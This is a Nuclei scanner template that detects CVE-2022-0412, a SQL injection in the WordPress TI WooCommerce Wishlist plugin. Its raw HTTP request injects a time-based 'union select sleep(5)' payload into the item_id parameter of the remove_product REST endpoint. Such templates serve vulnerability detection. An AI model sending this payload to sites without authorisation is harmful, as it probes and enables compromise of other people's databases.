nuclei-templates/http/cves/2022/CVE-2022-0412.yaml

55 lines
2.0 KiB
YAML

id: CVE-2022-0412
info:
name: WordPress TI WooCommerce Wishlist <1.40.1 - SQL Injection
author: edoardottt
severity: critical
description: |
WordPress TI WooCommerce Wishlist plugin before 1.40.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the item_id parameter before using it in a SQL statement via the wishlist/remove_product REST endpoint.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
remediation: |
Update to the latest version of the TI WooCommerce Wishlist plugin (1.40.1 or higher).
reference:
- https://wpscan.com/vulnerability/e984ba11-abeb-4ed4-9dad-0bfd539a9682
- https://wordpress.org/plugins/ti-woocommerce-wishlist/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0412
- https://plugins.trac.wordpress.org/changeset/2668899
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0412
cwe-id: CWE-89
epss-score: 0.11521
epss-percentile: 0.9469
cpe: cpe:2.3:a:templateinvaders:ti_woocommerce_wishlist:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: templateinvaders
product: ti_woocommerce_wishlist
framework: wordpress
tags: sqli,ti-woocommerce-wishlist,wpscan,cve,cve2022,woocommerce,wordpress,wp-plugin,wp,templateinvaders
http:
- raw:
- |
@timeout: 10s
GET /?rest_route=/wc/v3/wishlist/remove_product/1&item_id=0%20union%20select%20sleep(5)%20--%20g HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=5'
- type: word
part: body
words:
- 'Product not found'
- type: status
status:
- 400
# digest: 4a0a004730450220791a512b1aeda6dd369922529c17ff9fc6da17dabb6bff7d6412cbee753b89f4022100dc5868fb8deef45938e10a772be5ce87dbf2e5bfcd95e524d3143f6b9dddaa45:922c64590222798bb761d5b6d8e72950